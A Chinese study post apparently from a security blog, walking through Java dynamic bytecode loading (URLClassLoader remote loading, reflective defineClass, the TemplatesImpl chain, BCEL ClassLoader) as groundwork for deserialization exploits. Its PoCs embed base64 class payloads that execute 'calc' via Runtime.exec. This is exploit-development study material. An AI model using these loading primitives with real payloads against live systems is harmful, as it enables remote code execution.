java动态加载字节码

news/2024/10/5 14:37:06/文章来源:https://www.cnblogs.com/gaorenyusi/p/18269747

java动态加载字节码

java字节码

Java字节码指的是JVM执行使用的一类指令,通常被存储在.class文件中。

URLClassLoader

利用URLClassLoader可以加载远程/本地class文件

在学习完类加载机制,我们知道URLClassLoader是AppClassLoader的父类

正常情况下,Java会根据配置项sun.boot.class.path和java.class.path中列举的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class文件来加载,这个基础路径有分三种情况:

  • URL未以斜杠/结尾,则认为是一个Jar文件,使用JarLoader来寻找类,即在Jar包上寻找类
  • URL以斜杠/结尾,且协议名为file,则使用FileLoader来寻找类,即在本地系统中寻找.class文件
  • URL以斜杠/结尾,且协议名不为file,则使用最基础的Loader来寻找类

一、本地加载.class文件

这个在之前的类加载机制已经看到了。

package org.example;import java.net.URL;
import java.net.URLClassLoader;public class CC3test {public static void main(String[] args) throws Exception {URLClassLoader urlclassloader = new URLClassLoader(new URL[]{new URL("file:///D:/")});Class c = urlclassloader.loadClass("gaoren");c.newInstance();}
}

二、远程加载.class文件

import java.net.URL;
import java.net.URLClassLoader;public class urlclassloader {public static void main(String[] args) throws Exception {URLClassLoader urlclassloader = new URLClassLoader(new URL[]{new URL("http://url:port/")});Class c = urlclassloader.loadClass("Test");c.newInstance();}
}

感觉两者相差不大,对照上面的三种情况这里用的是基础的Loader来寻找类

一般利用:当能够控制目标Java ClassLoader的基础路径为一个http服务器,则可以用远程加载的方式执行任意代码

ClassLoader.define

利用ClassLoader.define可以直接加载字节码

java在进行类加载的都需要用到三个函数:

loadclass()-->findclass()-->defineclass()

loadclass():查找JVM是否加载过这个类,如果没有就层层向上利用父类加载器进行加载,没有父类加载器就会默认使用启动类加载器(Bootstrap ClassLoader)作为父加载器,如果父加载器加载类失败,抛出ClassNotFoundException异常后才会调用自己的加载器进行加载,执行findclass()

findclass():根据基础URL制定的方式来查找类,读取字节码后交给defineClass(判断类是否能被加载)

defineclass():处理前面传入的字节码,将其处理成真正的Java类

defineclass决定如何将一段字节流转换变成一个Java类,Java默认的ClassLoader.define是一个native方法(C语言实现)

QQ截图20240625213216

从上面可以看出来,我们可以直接传入字节码,这样把findclass都省去了,直接调用defineclass把字节码转换为java类

gaoren.java

public class gaoren {public gaoren() {try {Runtime.getRuntime().exec("calc");} catch (Exception e) {e.printStackTrace();}}
}

把其编译为class文件后进行base64编码方便待会出传入:

QQ截图20240625214638

利用反射获取defineClass方法

        Method defineclassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);defineclassMethod.setAccessible(true);

调用defineclass方法:

        Class Test = (Class) defineclassMethod.invoke(ClassLoader.getSystemClassLoader(), "gaoren", code, 0, code.length);Test.newInstance();

完整poc:

package org.example;import java.lang.reflect.Method;
import java.util.Base64;public class CC3test {public static void main(String[] args) throws Exception {Method defineclassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);defineclassMethod.setAccessible(true);byte[] code = Base64.getDecoder().decode("yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAITGdhb3JlbjsBAA1TdGFja01hcFRhYmxlBwAeBwAcAQAKU291cmNlRmlsZQEAC2dhb3Jlbi5qYXZhDAAJAAoHACAMACEAIgEABGNhbGMMACMAJAEAE2phdmEvbGFuZy9FeGNlcHRpb24MACUACgEABmdhb3JlbgEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAABAAEACQAKAAEACwAAAHwAAgACAAAAFiq3AAG4AAISA7YABFenAAhMK7YABrEAAQAEAA0AEAAFAAMADAAAABoABgAAAAQABAAGAA0ACQAQAAcAEQAIABUACgANAAAAFgACABEABAAOAA8AAQAAABYAEAARAAAAEgAAABAAAv8AEAABBwATAAEHABQEAAEAFQAAAAIAFg==");Class Test = (Class) defineclassMethod.invoke(ClassLoader.getSystemClassLoader(), "gaoren", code, 0, code.length);Test.newInstance();}
}

运行弹出计算机

defineClass()TemplatesImpl的基石。

TemplatesImpl

利用TransletClassLoader加载器来加载恶意类

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类中定义了一个内部类TransletClassLoader,该类继承了ClassLoader

QQ截图20240625222640

最主要的是看其defineclass方法,进行了重写,我们在传入的时候只需要传byte[]这个参数就行,但是之前那个是protected

属性的可以通过反射进行方法调用。这里是default属性,意思是只能在本类被调用,所以要去这个类看谁调用了defineclass方法。

发现defineTransletClasses中可以调用重写后的defineclass方法:

QQ截图20240626144701

这里参数_bytecodes就是我们要传入的byte,后续可利用反射获取变量进行修改是其为我们要传入的值。

我们还需要让loaderTransletClassLoader,这样调用的defineclass方法才是我们想要的。

注意到这里的loader是上面run()方法得到的,该方法就是对TransletClassLoader的实例化,至于参数先不管。

QQ截图20240626145334

然后接下来还需要找谁调用了defineTransletClasses方法

QQ截图20240626150752

发现只有三个函数而且还都是本类的。那么依次跟进看

又发现只有getTransletInstance函数能被其他函数进行调用,剩下两个查找不到用法。

QQ截图20240626151049

所以继续跟进到getTransletInstance函数,触发条件为_name不为空然后_class为空,后面赋值就这样赋就行了。

QQ截图20240626151328

继续看谁调用了此方法,刚刚说了就一个结果:

跟进到此结果, newTransformer()方法,

QQ截图20240626152251

到这里看到方法是public属性就可以结束了,可以直接调用此方法然后一层一层向下走。

TransformerImpl.newTransformer()TransformerImpl.getTransletInstance()TransformerImpl.defineTransletClasses()TransformerImpl.defineclass()

参考其他师傅的文章也可以继续向上到getOutputProperties方法。

TransformerImpl.getOutputProperties()TransformerImpl.newTransformer()TransformerImpl.getTransletInstance()TransformerImpl.defineTransletClasses()TransformerImpl.defineclass()

这里利用TransformerImpl.newTransformer()开始的链,先反射调用给之前函数的一些参数赋值,因为赋值的参数较多,先构造个设值方法:

    public static void setValue(Object obj,String fieldName,Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}

赋值:

        byte[] code = Base64.getDecoder().decode("");setValue(tem, "_bytecodes", code);setValue(tem, "_tfactory", new TransformerFactoryImpl());setValue(tem, "_name", "gaoren");setValue(tem, "_class", null);

说实话这里其他赋值看上面的分析就知道了,但不是很懂这里_tfactory为什么要这样赋值。这个最后再说。

poc:

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;public class CC3test {public static void main(String[] args) throws Exception {TemplatesImpl tem =new TemplatesImpl();byte[] code=Base64.getDecoder().decode("yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAITGdhb3JlbjsBAA1TdGFja01hcFRhYmxlBwAeBwAcAQAKU291cmNlRmlsZQEAC2dhb3Jlbi5qYXZhDAAJAAoHACAMACEAIgEABGNhbGMMACMAJAEAE2phdmEvbGFuZy9FeGNlcHRpb24MACUACgEABmdhb3JlbgEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAABAAEACQAKAAEACwAAAHwAAgACAAAAFiq3AAG4AAISA7YABFenAAhMK7YABrEAAQAEAA0AEAAFAAMADAAAABoABgAAAAQABAAGAA0ACQAQAAcAEQAIABUACgANAAAAFgACABEABAAOAA8AAQAAABYAEAARAAAAEgAAABAAAv8AEAABBwATAAEHABQEAAEAFQAAAAIAFg==");setValue(tem, "_bytecodes", code);setValue(tem, "_tfactory", new TransformerFactoryImpl());setValue(tem, "_name", "gaoren");setValue(tem, "_class", null);tem.newTransformer();}public static void setValue(Object obj,String fieldName,Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}
}

运行发现报错

QQ截图20240626155940

发现_bytecodes的类型是二维数组。

QQ截图20240626160106

修改setValue(tem, "_bytecodes", new byte[][]{code});,然后出乎意料,运行依然报错。

继续看师傅们的文章才知道TemplatesImpl中对加载的字节码是有一定要求的,这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类。

所以重新构造class字节码了:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class gaoren extends AbstractTranslet {public gaoren(){try {Runtime.getRuntime().exec("calc");} catch (Exception e) {e.printStackTrace();}}public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

bade64编码后

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;
import java.util.Base64;public class CC3test {public static void main(String[] args) throws Exception {TemplatesImpl tem =new TemplatesImpl();byte[] code=Base64.getDecoder().decode("yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAITGdhb3JlbjsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAtnYW9yZW4uamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBAAZnYW9yZW4BAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAIAAQACgANAA0AEAALABEADAAVAA4ADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAEQANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAEwANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");setValue(tem, "_bytecodes", new byte[][]{code});setValue(tem, "_tfactory", new TransformerFactoryImpl());setValue(tem, "_name", "gaoren");setValue(tem, "_class", null);tem.newTransformer();}public static void setValue(Object obj,String fieldName,Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}
}

QQ截图20240626161556

番外

一、

为什么_tfactory赋值为 new TransformerFactoryImpl()

跟进到它调用的getExternalExtensionsMap()方法并没有太多内容,而且这里也只需要TransletClassLoader实例化,其他值也并不重要

QQ截图20240626161834

再跟进到_tfactory参数,发现其为null

QQ截图20240626162040

意思是这里的_tfactory其实只要设个有getExternalExtensionsMap()方法的对象就行了。

而刚刚跟进到的getExternalExtensionsMap()方法就在TransformerFactoryImpl类里,所以这里设为TransformerFactoryImpl对象。

二、

至于最后会直接执行类里面得方法是因为在newTransformer()方法中进行了TransformerImpl类的实例化。

Class.forName()

使用Class.forName() 加载目标类

package org.example;public class CC3test {public static void main(String[] args) throws Exception {try {//Class.forName(String className),会对类进行初始化,执行类的static代码块//Class<?> clazz = Class.forName("evil.Exploit2");//Class.forName(String name, boolean initialize, ClassLoader loader),//如果参数initialize为true,则会对类进行初始化,执行类的static代码块Class test=Class.forName("org.example.gaoren");test.newInstance();} catch (Exception e) {e.printStackTrace();}}}

QQ截图20240626164057

Class.forName()和ClassLoader#loadClass()的区别:

  • Class.forName() 默认情况下会对类进行初始化,执行类中的 static 代码块。而ClassLoader.loadClass() 并不会对类进行初始化,只是把类加载到了 JVM 虚拟机中。
  • Class.forName() 可以加载数组,而 ClassLoader.loadClass() 不能。

BCEL ClassLoader

利用BCEL ClassLoader加载字节码

com.sun.org.apache.bcel.internal.util.ClassLoader类中,重写了loadClass方法

QQ截图20240626164942

调用了defineclass方法

QQ截图20240626165013

条件是clazz不为null,但是发现clazz的初始值就为null

QQ截图20240626165301

可以通过第二个if对clazz(class对象)进行赋值。但是需要满足class_name.indexOf("$$BCEL$$") >= 0,这个就是BCEL字节码以$$BCEL$$开头。

跟进到createClass函数,其实它就是对传入的class_name(BCEL字节码)进行了一系列处理,又把其变为了clazz也就是下面poc中一开始利用Repository.lookupClass传入的class对象

QQ截图20240626172959

然后才是获得对象字节码进行defineclass方法。
poc:

package org.example;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;import java.io.IOException;public class CC3test {public static void main(String[] args) throws Exception {JavaClass clazz = Repository.lookupClass(org.example.gaoren.class);String code = Utility.encode(clazz.getBytes(), true);System.out.println(code);new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();}
}

综上大概就是loadclass调用时传入的参数要是BCEL字节码,所以通过Repository.lookupClass函数和Utility.encode函数操作把class对象变为BCEL字节码后传入,经过一些处理最后调用到defineclass方法进行加载字节码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/731737.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

模拟集成电路设计系列博客——7.4.5 多比特Σ-Δ ADC

7.4.5 多比特Σ-Δ ADC 尽管1bit过采样ADC有着可以实现高线性度的优点,但其也有一些缺点。例如,动态范围小;1bit过采样ADC可能会由于反馈中的高度非线性出现不稳定;还有闲音(idle tones)的问题,即当输入信号接近直流或者是一个幅值为很小的正弦波时,在输出端就会产生一…

Java逐层解析JSON:揭秘流式解析器的魅力与实战

哈喽,大家好,我是木头左!一、深度理解JSON和流式解析 在Java的世界里,处理JSON数据是一项常规且重要的任务。随着Web服务和移动应用的兴起,JSON作为一种轻量级的数据交换格式,其简洁和易用性使其成为前后端交互的首选。但当遇到大型复杂的JSON数据时,传统的解析方法可能…

Java逐层解析JSON:揭秘流式解析器的工作原理与魅力

哈喽,大家好,我是木头左!一、深入了解JSON和Java的亲密关系 在当今数据交换的世界里,JSON(JavaScript Object Notation)已经成为了事实上的标准。它以其简洁明了的格式和跨平台的特性,成为了前后端通信的首选协议。而Java作为一门强大的通用编程语言,其在处理JSON数据时…

历史与未来的交响曲:历史建筑保护与现代技术的完美融合

在时间的长河中,历史建筑如同凝固的诗篇,记录着过往的辉煌与沧桑。然而,岁月的侵蚀、自然灾害的威胁以及现代化进程的冲击,使这些宝贵的文化遗产面临前所未有的挑战。作为建筑设计领域的探索者,我们肩负着保护历史记忆、传承文化血脉的重任。今天,让我们一同探讨如何借助…

一码胜千言,博园Polo衫,上架预售啦

在5月30日博客园T恤上架后,考虑到有些园友上班不能穿T恤,我们将周边下一站锁定在 polo 衫。 锁定容易设计难,polo 衫容不得半点复杂的设计,我们没有想到更好的创意,于是偷懒地沿用T恤的设计,去掉「废话少说」(TALK IS CHEAP),删掉「放码过来」(Show me the code.),只留…

Go语言编译时为exe添加图标和属性信息的方法

在使用Go语言开发应用程序时,有个非常方便的地方就是编译得到的可执行文件可以不依赖任何动态链接库、并且不需要任何运行环境即可运行,本文给大家介绍Go编译时为exe添加图标和属性信息的方法,需要的朋友可以参考下1,安装go-winres命令2,创建配置模板3,修改配置(1) 图标指定…

[AFCTF 2021]google authenticator google验证生成 redis提权

今天学习几个知识点。进入页面发现登录框,扫目录没发现有用东西,弱口令没用,那就是sql注入,试试看。万能登录试试发现回显有东西。进入去看看。发现了个这个东西,去搜搜看。找到可利用的东西,且给出了用法,但是我们不知道secret,去数据库里看看。报错注入发现users表,…

配置h5py、netCDF4库的方法:Anaconda环境

本文介绍基于Anaconda环境,下载并安装Python中h5py与netCDF4这两个模块的方法~本文介绍基于Anaconda环境,下载并安装Python中h5py与netCDF4这两个模块的方法。在Python语言中,h5py与netCDF4这两个模块是与遥感图像处理、地学分析等GIS操作与算法等研究息息相关的模块,应用较…

Aloha Mobile 移动机器人机器学习套件

Mobile Robotic Machine Learning Kit 移动机器人机器学习套件Upgraded Grippers, Haptics, and Joint 升级的夹持器、力反馈和关节 New all-metal gripper linkages for long-term reliabilityCompression-proof bearings with no risk of overtightening or wearing out …

QDU-OJ python升级后不能正确编译的问题

报错情况修改编译选项 docker exec -it oj-backend shpython3 manage.py shellfrom options.options import * print(SysOptions.languages)这是系统使用的语言和编译器信息和编译选项,是 judge/languages.py 的拷贝(参见judgerServer),如果只修改 py 文件,是不会生效的。需…

slab分配器(深入理解linux内核)

引子 前文介绍了使用为了解决外部碎片,使用Buddy System进行连续内存页面的分配,但对于使用内存的程序而言,Buddy System分配的内存粒度过大,假如我们需要动态申请一个内核结构体(占 20 字节),若仍然分配一页内存,这将严重浪费内存。那么该如何分配呢?slab 分配器专为…

由本签名控制的文档修订版次尚未被更改,但在其后,文档已被更改

原文链接:https://blog.csdn.net/weixin_45303938/article/details/108007791 签章后修改文档如果把一个有签过名的PDF文档进行修改,再验证时可能会有以上的提示:“由本签名控制的文档修订版次尚未被更改,但在其后,文档已被更改”。出现这种情况的原因来自于PDF文档独特的…